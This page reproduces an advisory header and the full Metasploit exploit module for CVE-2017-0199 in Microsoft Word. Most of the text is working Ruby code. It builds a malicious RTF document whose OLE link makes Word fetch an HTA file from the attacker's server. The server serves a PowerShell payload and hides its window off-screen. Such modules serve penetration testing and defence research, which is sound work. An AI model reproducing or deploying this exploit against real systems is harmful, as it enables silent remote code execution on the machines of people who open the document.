Microsoft Office Word Malicious Hta Execution

2017-04-25 / 2017-06-27
Credit: sinn3r
Risk: High
Local: No
Remote: Yes
CWE: N/A


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => "Microsoft Office Word Malicious Hta Execution", 'Description' => %q{ This module creates a malicious RTF file that when opened in vulnerable versions of Microsoft Word will lead to code execution. The flaw exists in how a olelink object can make a http(s) request, and execute hta code in response. This bug was originally seen being exploited in the wild starting in Oct 2016. This module was created by reversing a public malware sample. }, 'Author' => [ 'Haifei Li', # vulnerability analysis 'ryHanson', 'wdormann', 'DidierStevens', 'vysec', 'Nixawk', # module developer 'sinn3r' # msf module improvement ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2017-0199'], ['URL', 'https://securingtomorrow.mcafee.com/mcafee-labs/critical-office-zero-day-attacks-detected-wild/'], ['URL', 'https://www.fireeye.com/blog/threat-research/2017/04/acknowledgement_ofa.html'], ['URL', 'https://www.helpnetsecurity.com/2017/04/10/ms-office-zero-day/'], ['URL', 'https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html'], ['URL', 'https://www.checkpoint.com/defense/advisories/public/2017/cpai-2017-0251.html'], ['URL', 'https://github.com/nccgroup/Cyber-Defence/blob/master/Technical%20Notes/Office%20zero-day%20(April%202017)/2017-04%20Office%20OLE2Link%20zero-day%20v0.4.pdf'], ['URL', 'https://blog.nviso.be/2017/04/12/analysis-of-a-cve-2017-0199-malicious-rtf-document/'], ['URL', 'https://www.hybrid-analysis.com/sample/ae48d23e39bf4619881b5c4dd2712b8fabd4f8bd6beb0ae167647995ba68100e?environmentId=100'], ['URL', 'https://www.mdsec.co.uk/2017/04/exploiting-cve-2017-0199-hta-handler-vulnerability/'], ['URL', 'https://www.microsoft.com/en-us/download/details.aspx?id=10725'], ['URL', 'https://msdn.microsoft.com/en-us/library/dd942294.aspx'], ['URL', 'https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-CFB/[MS-CFB].pdf'], ['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0199'] ], 'Platform' => 'win', 'Targets' => [ [ 'Microsoft Office Word', {} ] ], 'DefaultOptions' => { 'DisablePayloadHandler' => false }, 'DefaultTarget' => 0, 'Privileged' => false, 'DisclosureDate' => 'Apr 14 2017')) register_options([ OptString.new('FILENAME', [ true, 'The file name.', 'msf.doc']), OptString.new('URIPATH', [ true, 'The URI to use for the HTA file', 'default.hta']) ], self.class) end def generate_uri uri_maxlength = 112 host = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST'] scheme = datastore['SSL'] ? 'https' : 'http' uri = "#{scheme}://#{host}:#{datastore['SRVPORT']}#{'/' + Rex::FileUtils.normalize_unix_path(datastore['URIPATH'])}" uri = Rex::Text.hexify(Rex::Text.to_unicode(uri)) uri.delete!("\n") uri.delete!("\\x") uri.delete!("\\") padding_length = uri_maxlength * 2 - uri.length fail_with(Failure::BadConfig, "please use a uri < #{uri_maxlength} bytes ") if padding_length.negative? padding_length.times { uri << "0" } uri end def create_ole_ministream_data # require 'rex/ole' # ole = Rex::OLE::Storage.new('cve-2017-0199.bin', Rex::OLE::STGM_READ) # ministream = ole.instance_variable_get(:@ministream) # ministream_data = ministream.instance_variable_get(:@data) ministream_data = "" ministream_data << "01000002090000000100000000000000" # 00000000: ................ ministream_data << "0000000000000000a4000000e0c9ea79" # 00000010: ...............y ministream_data << "f9bace118c8200aa004ba90b8c000000" # 00000020: .........K...... ministream_data << generate_uri ministream_data << "00000000795881f43b1d7f48af2c825d" # 000000a0: ....yX..;..H.,.] ministream_data << "c485276300000000a5ab0000ffffffff" # 000000b0: ..'c............ ministream_data << "0609020000000000c000000000000046" # 000000c0: ...............F ministream_data << "00000000ffffffff0000000000000000" # 000000d0: ................ ministream_data << "906660a637b5d2010000000000000000" # 000000e0: .f`.7........... ministream_data << "00000000000000000000000000000000" # 000000f0: ................ ministream_data << "100203000d0000000000000000000000" # 00000100: ................ ministream_data << "00000000000000000000000000000000" # 00000110: ................ ministream_data << "00000000000000000000000000000000" # 00000120: ................ ministream_data << "00000000000000000000000000000000" # 00000130: ................ ministream_data << "00000000000000000000000000000000" # 00000140: ................ ministream_data << "00000000000000000000000000000000" # 00000150: ................ ministream_data << "00000000000000000000000000000000" # 00000160: ................ ministream_data << "00000000000000000000000000000000" # 00000170: ................ ministream_data << "00000000000000000000000000000000" # 00000180: ................ ministream_data << "00000000000000000000000000000000" # 00000190: ................ ministream_data << "00000000000000000000000000000000" # 000001a0: ................ ministream_data << "00000000000000000000000000000000" # 000001b0: ................ ministream_data << "00000000000000000000000000000000" # 000001c0: ................ ministream_data << "00000000000000000000000000000000" # 000001d0: ................ ministream_data << "00000000000000000000000000000000" # 000001e0: ................ ministream_data << "00000000000000000000000000000000" # 000001f0: ................ ministream_data end def create_rtf_format template_path = ::File.join(Msf::Config.data_directory, "exploits", "cve-2017-0199.rtf") template_rtf = ::File.open(template_path, 'rb') data = template_rtf.read(template_rtf.stat.size) data.gsub!('MINISTREAM_DATA', create_ole_ministream_data) template_rtf.close data end def on_request_uri(cli, req) p = regenerate_payload(cli) data = Msf::Util::EXE.to_executable_fmt( framework, ARCH_X86, 'win', p.encoded, 'hta-psh', { :arch => ARCH_X86, :platform => 'win' } ) # This allows the HTA window to be invisible data.sub!(/\n/, "\nwindow.moveTo -4000, -4000\n") send_response(cli, data, 'Content-Type' => 'application/hta') end def exploit file_create(create_rtf_format) super end end

References:

https://securingtomorrow.mcafee.com/mcafee-labs/critical-office-zero-day-attacks-detected-wild/


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